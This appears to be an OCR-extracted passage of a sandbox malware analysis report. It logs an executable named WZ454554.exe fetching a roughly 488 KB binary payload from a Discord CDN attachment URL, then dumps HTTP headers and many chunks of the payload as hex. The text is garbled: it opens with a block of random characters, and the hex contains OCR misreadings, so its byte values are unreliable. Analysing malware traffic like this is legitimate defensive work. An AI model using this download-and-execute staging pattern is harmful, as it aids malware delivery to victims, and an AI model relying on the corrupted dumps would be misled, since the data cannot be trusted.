~94rB_CQh9EqqgokXj4Y_WM9ajCrYOfXhqVGixGzjDMgaWUjfmgnQ8vmTi_jM4jOwc_5UfNbjZYm_WSnfjpr3Cu9J86
GE8fmS4GDYoqKplACT6Urmj2uPF4zYjR361Y~uRwVI6RowwcpjINif4srkAURNNOVAYU3ERRIK(50zNo~u9butrMOJ
AiROKe2FyTJRePeQjyKrKIGWgZers930xwg43xgzy5K_eMh5VJ8Gnf3DQhtVoDtVRDTnUnusrhEeCWmis_HeT9f6Ni
NgPfr6(kX054Km3Xyl0_DOtq~YZLK2Vx4QQIA7mI2CMIO8KXKuKtfbsHOA8vujuoSA9IgvzZaOPggACQAaIT7WDOdL
heyf4GYZFVgljMrYbzBP1Z(X6_iboihDsAeciC5g4ku8jaXg5BCre0iCLI3qS7Ra3Nr4nJD6dk4XVvYQavd90dVRdB
sdkoPWeRG8PtW9yUJ80UqIG7NGCmbc94tCc3TfKa~Y Xjvftdks3ohkxs3p4CbkHb0OrzRBaGi2eWDOi~JoOJGDZHIloy
B22rxGfmaswvrVrhMdD5YnxLDOghGdzxKxuLpKicZM2kfln_nO93rFovwRK51mPOR5G1RvJIfTLSboA(hbLD5Evxoex
KmD5U4L4rolJIhV_I7~GYrRyBOiyQ5jwk7kFXgJoPSgCIIXVQIhObC~50WZX2D(baUqf8JI7h6xF(X6eSZowKz9nnG
WOET3KKPsN9csTc2~XIS3SNgDsh-S-ZUQL~EyvQK SxfpbARODgHRIfILSQGbbJodR8ySqea2ZM0O9el 3vg1S-Fo7bwH
OEAU30EOt2yjJvNHOOXdELDNveJuolbHTNqy2eceu3B1~ZX-TwYq79sThAAFBcdlvhEugb424ta2mj5ukRIrNSEyHi
gqHSM3m18J8gLItWzm6bsPcEXFU6EN8scPpJ8YaKRTsSagOTtWAIrS2XMu9NkMhAzeoKafCleZbRbCvUTRySS6ladRKJ
WJ4eSwY3uldIHY209glvDLvcoJYGSC~qlcH7MVSWirO-iOcNg9o7a4Y-hlgnP6ggbaSmpWrGpdFxWRanQpyH2SCv09
km5hSIQ8Yqn4DpX0G9U1shJ-8H8vVtDFELE02CUsHvMnbk8fDOQqrisKwiOHfM{J4FAGrPOMwfCrFUZ(yBdGaoa7qvM
Pa200ZpcTZehxzz647yQnrsmS8PGxii8DANfnnOYgOXr9jeylPOEHWIDOAEeDku_lyNFXyhZ9TrVfgSjf43zRPQfgm
XTf6fgg_iC3DeVUUQNNKIDbERtAIWkzQQFGc9IMu8hcofPaNSen8CvICYeZKkE-pGXZ0zIUgF7HGRfFZUS)j8_OMK1RK
OJKIX_pyFgSUOPu1SQBDvt(n(HIWVhNCLVZHAGtOgjMUjKORpRJIsmt18w2X_acAZORxpr9lvMEZZAc5UdN(5iVColLh
2qUdiZCH1GjXxTXz06M11M-F4CQKOXLNfKmyVdVakOaxZ454MPZUE5SE8u~sPK1ZOGYAANYdy30LHz3Vdz9ACUUHJ-jz
1tbFkA38IMD7Zjaxqb46fUZ8EgKFpydxRYueCJI5PI8KK4Hg0JyGjVIa6gbZpflSukEuyKcKdjkzltZwogbvW0JRMcn
8leJoN9_LmOJTWM97FboruJFUHGIgNWu9JJIvKIb2s4RWER63y9SnCPXjw8YpcHKas8GyYTddYLBfAla5yogXfVMS~H
DsoD1Mi_6orllfAolAV8JIBy7q9levF57bVpvD4EkjiQDh4bdtxHDWDevb7cQusxvHOvyhIJPBeh1712EWjmqIDcG_2J
N2rGmPUI1jtPRvkqyMPSaBjf97JEDKY4Us00260DkuBVLKHLY 1~dYyu9eobe3DyYxNbxnSLB5ywvIu46A_V2k8JHFs
SIv8IfQNXE1jyJEbtWCcSoGH4sKH~PXj69jVW78fToQJGgbo

HTTP/1.1 405 Not Allowed

Server: openresty

Date: Thu, 13 Jan 2022 19:23:55 GMT

Content-Type: text/html

Content-Length: 154

X-Adblock-Key: MFwwDQYJKoZIhveNAQEBBQADSWAWSAJIBAIRmMzcpTevQgkWnédJuX/N/HxI7YxbOwy8+73ijqYSQ
EN+WGxrruAKtZtliwC86+ewQ0OmsW1W8psOFL/b00zZWqsCAWEAAQ_Q9ZUYZ0O8/a7e5BdDIvaZwJlJItx0FbiRvpYdiZ7D
/aCsoMoi5qB+aQaBHkMGmMhT3JB5UzIsiLB6/R1IRX40qybO9g

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html|>

Destination IP  Destination Port Process
162.159.130.233 443 C:\Users\user\Desktop\WZ454554.exe

Data

GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcaslizbwmlqsydewtjitxnzf HTTP/1.1
User-Agent: [Vali
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Thu, 13 Jan 2022 19:22:17 GMT

Content-Type: application/octet-stream

Content-Length: 488448

Connection: close

CF-Ray: 6cd0fe153c0d698b-FRA

Accept-Ranges: bytes

Age: 21537

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Hyrzbcwcasllzbwmlgsydewtjitxnzf

ETag: "6ce484ddb0699821883415a6a3c03422"

Expires: Fri, 13 Jan 2023 19:22:17 GMT

Last-Modified: Thu, 13 Jan 2022 12:45:05 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1642077905426119

X-goog-hash: crc32c=ezqS6w==

x-goog-hash: md5=bOSE3bBpmCGINBWmMo8AOIg==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 488448

X-GUploader-UploadID: ADPycdvRzXtsPBcamJvrOOnxQdLhRIEMoAYpY8SiWIAVO9bYx2AneSLOMYtS-kyelcV-
aXT9cMB6Wue_WC7NzP4DAPhWzq96GQ

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:17 UTC 1 IN Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 32 22 68 74 74
7073 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 25 32 46 45 6¢ 59 4a 7a 76 34 44 6¢ 71 59 79 63 4f 37 33 36 72 56 31 52 47 62 59 64 46 44 55 25 32 42 74 6e 45 38
4544 71 76 65 50 51 57 66 50 49 4e 36 6f 5a 32 6f 69 6d 4e 4c 35 42 52 6¢ 4e 4d 63 54 44 4f 6¢ 69 52 37 50 51 58 63 68
6¢c 69 6e 6a 34 70 76 76 25 32 42 66 50 39 67 4f 7a 69 38 58 44 7a 53 63 76 36 33 38 57 57 4b 75 71 66 31 76 46 4e 4b
36 55 37 77 33 72 6a 6f 47 4e 4c 45 79 36 34 45 4b 30 6f 74 48 33 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22
3a 2263 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a
Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comVreport\/v3?s=%2FEIYJzv4DIqYycO736
r'V1IRGbYdFDU%2BtnESEDqvePQWfPIN60Z20imNL5BRINMcTDOIIR7PQXchlinj4pvv%2BfP9g0zi8XDzScv638WWKu
qflvFNK6U7w3rjoGNLEy64EK00tH3Q%3D%3D"}],"group":"cf-nel","max_age":

2022-01-13 19:22:17 UTC 1 IN Data Raw: 18 da 04 39 22 7 4a 5b 6 c6 57 ec 36 9e 95 6a 0a 39 28 89 53 db 8c ce 77 al 05 b7 39 27 6e 03 b6 bc 46 4a
4f d3 fa c1 d4 73 af 2f 14 d5 ef al 14 d3 5 4f d3 ff 5d e6 22 fd 51 df 91 68 1e f2 d8 01 a4 9a f9 4b cf e2 1b 6d 90 e2 18 dc
1f 74 30 95 7c 33 1d 6¢ 16 c8 64 Ob 49 cd ea 2f 00 30 8a de 1d 61 fa d5 fe ca 60 72 2d Of 4d d3 eb a8 84 cb e7 ae ad 23
74 38 a3 1f 65 83 4e 55 f4 dc 17 5d 8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3k
32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 08 37 28 84 c8 62 11 55 fc d1 f8 c4 5e 7c 3b
3aaf 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff
44 a6 90 e8 20 ea 2a 84 dc 2d 2e ac 8a c9 {7 58
Data Ascii: 9"J[W6j9(Sw9'nFJOs/O]"QhKmt0|3ldl/0a’r-M#t8eNU]"|;:%sI~6{=+;2.SQD *7(bU"|;:%sI~6{=+;2.SQD *-.X

2022-01-13 19:22:17 UTC 2 IN Data Raw: 82 5f 6b 1 f7 d8 8a 47 5¢ f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a
54 €3 03 2a 06 b5 a4 0d cd 68 8b ¢4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6¢ 96 70 a0 11 ce el
0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db Oc 4d 55 6e
80 5a ed 2e 11 ¢4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7h 24 77 26 79 37 a7 90 6¢ 9e 07 33 82
59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04
bd 4c d6 84 42 30 17 ¢8 fb dc 9¢ 03 2e Oe 42 22 7e a2 13 dO f5 ¢7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 Oc
41 a4 00 bb 54 fc 52 ¢4 c0 df 07 2a 04 a2 04 af b5 bo
Data Ascii: _kG\MZ]x#Lx/T*hGYdHWirlp@)1rON(Y TE@6RMUNZ.EQYw7{$w&y7I3Yaday:5PH)KJE[h m6LBO.B"~~JjO[}A
TR*

2022-01-13 19:22:17 UTC 4 IN Data Raw: 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c¢ f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc €5 23 e6 bd 4c d7 le
78 a0 00 b0 2f 8a 54 €3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6¢
96 70 a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 6 54 fd db 16 45 40 36 18
52 db Oc 4d 55 6e 80 5a ed 2e 11 c4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e 1le 7b 24 77 26 79 37 a7
90 6¢ 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea bl b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af
ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb
d6 9d 8f ec a0 Oc 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a
Data Ascii: IX_KG\MZ]x#Lx/T*hGYdHWfrip@)1rON(YTE@6RMUNZ.EQYwW7{$w&y7I3Yaday:5PH)KJIE[h m6LBO.B"~~]jO[}
'ATR*

2022-01-13 19:22:17 UTC 5 IN Data Raw: 89 d4 e3 16 58 f2 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c¢ 5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5
23 €6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 €3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94
72 ba d6 9e 1a 6¢ 96 70 a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd
db 16 45 40 36 18 52 db Oc 4d 55 6e 80 5a ed 2e 11 ¢4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e le 7b
2477 26 79 37 a7 90 6¢ 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea bl b0 29 8e 7f d8 95 fa 4b 4a c5 45
5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 dO f5 ¢7 7e a7 82 5d 6a 81
c5 4f 5b 7d 27 fb d6 9d 8f ec a0 Oc 41 a4 00 bb 54 fc
Data Ascii: XIX_KG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUNZ.EQYwW7{$w&y7I3Yaday:5PH)KJE[h m6LB0.B"~~]jO[
YAT

2022-01-13 19:22:17 UTC 6 IN Data Raw: 91 51 72 al 86 4c b9 e6 1a cl 15 d2 58 b8 39 39 ea b1 50 82 2e ad df 7a 7b 3e 2c a7 ce e6 37 c9 7e 56 2e 7f
2a 95 fc 52 df b7 80 b8 16 cc ae 52 4f b8 22 d1 cd 04 b1 be 67 ea aa 87 68 ee 23 9a 03 4f c¢6 3f a5 f1 4d 20 74 6¢ 69 19 dc
1d e0 12 4a 6f f9 d6 0d 34 0f 5a ba bd bf 28 17 7d 88 48 63 71 a4 9e 6a ee 7e 57 67 72 72 df 04 d3 a2 bc db ¢3 79 4a b0
fc 36 db 78 b5 65 38 5f 1a bd 8b 8 32 62 45 af 08 86 9b fd a9 37 46 d7 a5 a6 b9 7e 6f 05 59 b4 27 99 17 1b 91 59 b6 57
84 9d ed 87 Oe 26 6f a6 76 01 4f 58 4a 7e bc 61 9f 98 20 cb 9 21 8f 1a 50 ¢7 82 20 c9 74 fc de 07 82 24 db 6f 3d d1 e7 52
ad 31 75 39 de ea d4 ea 5c 76 b5 bd f3 05 59 €6 7e 08 a9 dd 66 7c 9f 26 96 69 33 1a 1c 96 de ea 1f 00 1e bl f1 2d d5 31
d0 14 6b 57 b8 €3 08 5e 42 le fe c9 6f 77 8d ee 03
Data Ascii: QrLX99P.z{>,7~V.*RRO"gh#O?M tliJo4Z(}Hcqj~WgrryJ6xe8_2bE7F~0Y'YW&ovOXJ~a P t$0=R1u9\vY~f|&i3-
1kW”Bow

2022-01-13 19:22:17 UTC 8 IN Data Raw: a8 b6 2e Oa bl fc 72 81 10 89 69 d4 f8 41 a9 f2 b1 39 fc 80 f5 13 d3 7b 2c bc ac 5a 6¢ 43 04 7e ad ae 37 df Ob
ca 8c 84 f0 62 94 7a b7 da 4f 98 d2 3e d6 52 dO fc 43 f8 b9 c8 5f bf bf 8e 68 9c 0a e2 5f a5 37 6f af 6e 8f ef 3c af d1 0f 37
7¢50 14 5c e4 al 2b 18 fa dd cb 85 e4 b6 2b 85 b0 2¢ Oc 23 31 71 0f cc ea bb 8f 4e 4c 52 19 6e aa 2b 95 e5 46 cb 61 19
17 60 ce fb cf 62 09 5a 92 eb e8 1c 55 72 ab ae b2 8c eb 5a 27 4f 71 32 00 a5 20 50 f2 6¢ 54 53 6e 92 7e a8 92 6f 19 e7
€2 2a 3d b8 28 1d bc 4a 35 70 7b 8¢ 4f 59 61 77 1b 3b 71 9e c6 31 96 73 33 87 43 fd 90 61 a4 f4 57 63 1d fe 2f e3 78 c3
94 d7 0d d6 9e 02 Of 7f 7d 48 1b Oe 40 37 ab b5 8 be 35 de 4c 3f b2 3f ba cd 9a 1d 87 51 84 5 d5 71 2d 87 29 f1 5b f8 97
40 30 1f fd cf bb 13 81 fa 96 93 99 fa 45 4a
Data Ascii: .rA9{,ZIC~7bzO>RC_h_70n<7|P\++#1gNLRn+Fa'bZUrZ'0g2 PITSn~0*=(J5p{OYaw;qls3CaWc/x}H@75L??
Qq-)[@OEJ

2022-01-13 19:22:17 UTC 9 IN Data Raw: b0 97 dc 9f 86 4d 6a 71 c6 4d 95 4e e4 al 8d ea 84 89 00 12 96 c8 d3 6e 9d 9d 55 20 29 a5 49 a7 bc cf 66 95
f4 3d d1 ac f3 74 9a 7e a3 83 c5 45 4a c2 1c d6 ac 20 6f 12 b7 bf 53 67 d1 9e 34 1c 71 2f 55 3f e4 86 93 58 ce el 0b c6 79
bb b3 a4 de 3c 26 60 f1 28 05 e4 7c 07 ff 31 8e 61 6¢ 85 b8 55 00 ¢7 aa 93 f9 c2 c1 5f 5e 23 31 da 57 82 42 34 Ob cc 45 c8
ef 34 ¢4 30 15 d4 eb 30 5¢ 70 25 11 15 3e 2e 0f da 9a 3d 28 81 98 bc 79 3b a2 00 a8 99 9c 76 22 b6 cb 71 25 f6 43 aa 86
€3 15 09 87 b4 27 f4 49 8¢ 96 bc 94 ba 28 7b 2d 95 el 78 7e 7c 19 le d1 Oc 45 4d 59 97 f0 af 8a 8f 5e 8b db 1f fe a5 bb 6b
8a 87 3fd1 67 03 25 1a 39 fa 5a 20 9e 6d 19 c9 71 d8 e6 c3 be 13 7d 55 69 05 24 41 Oe fc c9 a4 a9 14 5f 67 1b c0 Of 06
e7 e3 bl 30 11 df 07 84 e5 8a 3a {7 24 f5 d4 el
Data Ascii: MjgMNNnU )If=t~EJ 0Sg4q/U?Xy<&'(|1alU_"#1WB4E400\p%>.=(y;v"q%C'l {-x~|[EMY~k?9%9Z mq}Ui$A_g0:$

2022-01-13 19:22:17 UTC 10 IN Data Raw: 01 fe b2 30 01 3¢ 39 5 27 95 ee 62 3f bc c1 54 ed ¢7 00 9a de 51 e5 2b 9e 09 2a ac f1 ce 6d cf c4 db 10 4b 5a
e7 24 7Tabe 18 €5 31 9a 74 b6 a9 a6 53 b0 7 77 22 65 12 4e ed 22 51 03 e9 cb 75 25 f2 55 43 63 Oc 5¢ 36 ef 4¢c d9 1a 6a
fe 09 84 63 cd dc f6 5f 71 27 50 c5 fa 97 2b 6d 60 7 dc 8f 47 27 Oa 31 4e 38 42 2e 1d ea 3e 53 4¢ 78 75 ce 89 d1 77 3a a6
27 56 fc 92 da e7 2f 82 50 83 de 8a f5 Oe fd be c4 c6 ce 49 46 78 d6 5a 5a 16 4d 5d 7a 6b 05 64 6a 5a 5e 76 be da 87 cf
dO bf 13 11 7c 31 9e 10 5¢ 99 95 a2 c6 1b 55 e0 8¢ 49 54 5 6a 6e 20 b5 Oc b9 4c dc 86 b6 37 85 6d da 65 8d e4 b4 28 dO
f6 ac 15 0c a5 7c¢ b2 2c 1f 56 21 ¢8 58 29 3a 99 eb 2c Oe 88 fd b3 23 29 6f fO ba ce e7 27 a9 59 35 42 d5 94 61 77 26 32
28 03 38 fb 6a 7b 32 19 d3 71 4f 3b e6 7f 77 4f 5e
Data Ascii: 0<9'b?TQ+*mKZ$z1tSw"eN"Qu%UCc\6Ljc_q'P+m’ G'IN8B.>SLxuw:'V/PIFxZZM]zkdjZAv|1\UITjn L7me(|
,VIX):,#)o'Y5Baw&2(8j{2q0;wO”
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:17 UTC 12 IN Data Raw: 3f 4e 01 98 Ob d6 9e 19 5a 3d 17 86 8d 5a 89 c0 df 08 22 56 Ob c4 1d 54 86 57 69 1a bb 6a 3f 90 bf f3 ae 3b ac
3b dd 30 8e 9c dd ff ad a7 8d fc e2 39 bb 51 8d 56 1c 62 9d 91 f6 6f 1f 55 ad 17 5c f1 3c 23 98 01 11 7a 6b fd 53 5f 6d 14
d1 6d 86 3a eb 85 4e c2 c4 dc 25 ¢9 81 86 9d 2c 8b c0 dc 9a 9c d8 9a c4 12 a2 fc 52 cf 60 87 3c ea 8d 2a b6 cb 63 17 d6
bc dd b6 11 10 a1 31 9d 93 el 3e e5 12 ed eb da 67 09 2d 8b be 61 35 74 70 48 74 ad b4 26 b7 c9 e2 5d b2 83 79 38 2a
05 84 24 3a 93 28 fO c6 dd 1d e3 1d e3 43 1a be 70 da 9f 82 4a 97 7f 21 e8 7c 56 b8 2e 13 c¢1 17 96 c5 55 a5 2e 5a ec bf
44 b9 fc 21 e0 4e 6e cd 6a 80 51 13 bc 80 81 1b 0f 96 61 71 29 ed 1b d1 e6 6a 62 cc ef 2f 84 c0 b9 38 38 fb 7c fe 53 4a dc
e7 cb 59 25 3b 10 00 a7 84 5b d3 3a 1d 71 e6 Oa e3
Data Ascii: 2NZ=Z"VTWij?;;09QVboU\<#zkS_mm:N%,R <*c1>g-a5tpHt&]y8*$:(CpJ!|V.U.ZD!NnjQaq)jb/88|SIY%;[:q

2022-01-13 19:22:17 UTC 13 IN Data Raw: 54 96 94 64 41 98 Oc fa 64 83 c6 c2 c9 b7 69 76 19 e0 8d ee aa 3d d5 63 al 79 52 7f 83 be 6¢ 7a bc 65 03 {3 f3
b9 b1 9f 88 42 33 87 10 84 3e 8¢ 63 14 45 45 5b 19 dd 87 20 14 cd 2e 67 a8 01 f6 7f b4 c6 e3 10 40 37 a6 d8 40 5e 12 6f
15 cc f6 59 1c 70 Oa 4c ad Oe 18 2d 2c 07 ea 8f 95 44 1c 79 3f b9 4b 9d 54 98 94 55 62 82 50 d6 €0 90 c0 26 15 42 6a e6
36 1c a6 2c 71 ¢c9 41 a9 80 4d 53 84 96 1d 59 54 ee b0 23 f5 a0 1c f2 ¢5 3b 3b 1c 04 1c 77 fd f9 a5 76 84 50 c9 66 9d 5f
bb 3d 1a 4f 5e f9 cf 75 5a e5 ca 6a fc 4a c3 54 e6 08 eb 5e 9d 6d 65 19 cO d4 55 20 0a 31 a7 03 6e ec 52 24 03 51 84 ec
df 17 aa 2a Oc 81 e3 75 bf 7c 61 66 f7 7e 90 74 b5 ab al 26 97 60 e6 1f d2 f9 cb 6a 80 cf 5b d3 56 23 f1 5¢c 18 66 89 de 96
6C 3a44 9a 63 €9 15 db Ob c9 63 cc c0 ac a4 31 37
Data Ascii: TdAdiv=cyRIzeB3>CEE[ .g@7@"0YpL-,Dy?KTUbP&Bj6,gAMSY T#;;wvPf_=0"uZjJT"meU 1nR$Q*ulaf~t&]
[V#\fl:Dccl7

2022-01-13 19:22:17 UTC 14 IN Data Raw: de 48 18 36 ec b2 94 3d b8 fb dd 66 35 b6 26 7a b5 a4 91 bf e6 bf el 5d 7c 47 15 bf e8 54 e0 46 d2 81 75 04
b3 b9 4f 52 7d ce 36 18 82 44 46 1a 57 01 98 52 d8 89 cc f3 5b 26 de 84 81 e0 f1 c8 f9 67 48 c5 bf 71 25 f7 d5 65 a3 c8 7a
ba Ob 03 45 ch 64 2e 49 47 95 f3 b2 80 7a b4 37 bc cc 19 51 f8 57 94 e2 f1 a8 97 e8 04 4d 4f 94 7a d2 4e f0 ac 2a 1c 60
58 aa f5 dc 17 29 8d 2c 07 43 Oc 7e b3 a5 84 42 9e fd Oc 57 aa 04 ¢3 91 d7 7c 05 04 26 fe 49 a0 22 72 a2 Oe 54 71 a2 d5
7475 f3 b9 cb 5b db 83 ¢5 92 62 €8 14 74 ad bc d1 74 21 b0 ec b5 Oe 81 b4 c7 20 7a b1 54 85 65 5b 7b 5b 9b 68 91 8 45
a0 11 10 44 5f c9 41 b1 b9 4b 47 ed be 1f f6 f4 79 25 f4 4c d1 aa 1a Oa 19 f1 ed 26 12 f5 fa 5e fc 5a f2 d1 38 c4 c4 6e b6
226898 77 d3 75 b9 1a 7c 78 a0 6a 79 1a 68 88 53
Data Ascii: H6=f5&z]| GTFUOR}6DFWR[&gHq%ezEd.IGZ7QWMOzN**X),C~BW|&I"rTqtu[btt! zTe[{[nED_AKGy%L&"Z8n"
hwu|xjyhS

2022-01-13 19:22:17 UTC 16 IN Data Raw: 7b 64 47 ef 24 ¢5 d0 91 06 e4 a3 82 4b a6 a5 ef 88 00 a6 1f fe f6 2d eb ad 3b b8 41 bc d1 7 fe c4 30 62 3a 47
5a f1 54 4a 26 7c 1f 54 11 bc d4 f3 a0 Oc bf fb ca ee 2e b9 be bd 45 5b fa 72 1c b9 2a e0 e0 8d al c3 fd 65 75 bc da 2b 68
fa 4a 69 ae 41 bl 56 9b aa 93 58 61 Oe 57 03 62 0f 03 37 ac 24 6a 3a 72 a3 96 69 b3 09 3e c1 a3 9a 05 67 1b 15 91 f4 4c
96 18 bc 7a 73 6b 17 4f ee d9 9e 44 3b 6d 1d 95 41 11 79 59 78 cd fe 18 44 93 97 7 ce ea d4 68 6b 75 8d ee Of 6¢ 26 06
57 d0 8d fe 0a 69 86 29 8d 00 43 44 46 c4 d5 d5 d1 19 95 f8 56 9d e2 e7 23 cd 2c 0d c3 cd 17 30 ce 84 bc de 6b 51 bc 5e
6a 2d e2 82 40 de 2b 3f51 e8 4d 17 26 2d 46 7d al c1 48 d9 05 29 93 e3 01 5d 10 56 f5 61 d8 f2 22 6d 13 86 51 3c 8c e6
c0 a3 cl 5169 b8 26 67 5ef7 9a 60 ea e6 ad a4 f9
Data Ascii: {dG$K-;A0b:GZTJ&|T.E[r*eu+hJiAVXaWb7$j:ri>gLzskOD;mAyYxDhkul&Wi)CDFV#,0kQ"-@+?QM&-F}H)]
Va'mQ<Qi&g”

2022-01-13 19:22:17 UTC 17 IN Data Raw: e3 1c 28 66 16 cf 2e 1a 6f 13 af 20 4c ad 7c Oc 96 07 3b 1a 7a 74 4a 1c Of c1 1c 60 38 93 32 a6 05 6b 11 13 6f
d3 2a 18 1f fe 97 4c Oa e0 98 3f bf 85 25 c7 2f 8¢ 37 a2 d7 €9 10 05 3a 7a b4 f8 a2 31 cb 71 79 3e ed 82 7f 9f 91 a0 1b b6
a9 2fab a7 ec fc 48 dd ad 67 8a 1a 6e 37 46 9a 6e 93 f8 14 3a 43 bc 81 2c 05 32 f9 Of ce 5¢ 13 6b 5d 65 0d d4 9b 92 76
a6 44 3c 36 8f 8b Oc 39 b1 c8 50 d6 9f 67 d6 e4 be 13 be 67 ed e0 e2 31 0f 99 el 1b f6 36 16 b3 5a ed 33 32 b5 00 d3 72
a4 13 39 6d 13 b7 a5 2c e8 ba d7 a5 05 24 7a a2 1c cc d9 c7 81 ¢3 56 €9 48 9a ec Oe dc 1d 09 a3 8a 2d 3f a3 93 f4 9c 5e
6d a3 09 70 cb 77 31 8c c0 3d e9 22 6d Oa df b6 83 50 bd 24 65 8c fc 52 ¢6 30 da fO 5e 36 5d 31 74 d3 74 c8 49 3e 91 be
c6c0 d1 720459 3585 ¢c9 70 ¢5 19 c7 5 20 fc 3d
Data Ascii: (f.0 L|;zt3"82ko*L?%/7:z1qy>/Hgn7Fn:C,2\klevD<69Pgg16Z32r9m,$zVH-?"mpwl="mP$eR0"6]1ttI>rY5p =

2022-01-13 19:22:17 UTC 18 IN Data Raw: Oe 55 7c b5 2f d4 85 86 55 37 a8 fc c1 14 5b 7f dO 8f 98 7a b8 61 7e ac 85 76 3 c9 6f 0d a9 8e 17 53 5d 6a ca
f4 da 69 68 f5 50 73 71 31 9a 60 95 f5 Oc ca e6 ad e0 ed 71 22 61 19 83 c9 7b 4f 81 1d 51 8e e4 c9 c3 f6 16 4e ca e2 e5
28 8c af b3 b2 a9 3b 17 91 f4 56 el a7 43 a2 63 1f 75 8b d4 fd 80 5b db e9 6 3b 31 32 4b 42 2f 92 08 bc 8b 56 7 3b ff d5
32 7f50 79 7b 33 84 52 bc b5 2c 9f 75 48 c8 fa ff 1c €9 4a d5 6d 1d 7d 37 al 88 e7 8 cc Oe 96 3c 5e bd 06 6¢ 90 79 37 a6
4a 61 46 85 11 89 35 Oe fe 12 46 cc f7 9f 9a 0Of 00 42 60 O af b9 41 a3 29 07 30 13 73 8f ab b7 ab af d3 eb 9b e8 a0 02 b2
53 5d 33 2e 13 cd c9 d3 3c 3fa0 1d bl a9 f8 4e fb 39 a7 90 c1 fe 19 d9 0d c2 b5 Oe 9a 0f a2 Oc 6d 5e ff d2 ad 97 71 1b 93
b7 a4 46 c9 1b 84 50 bb 21 €9 3f 09 e5 d7
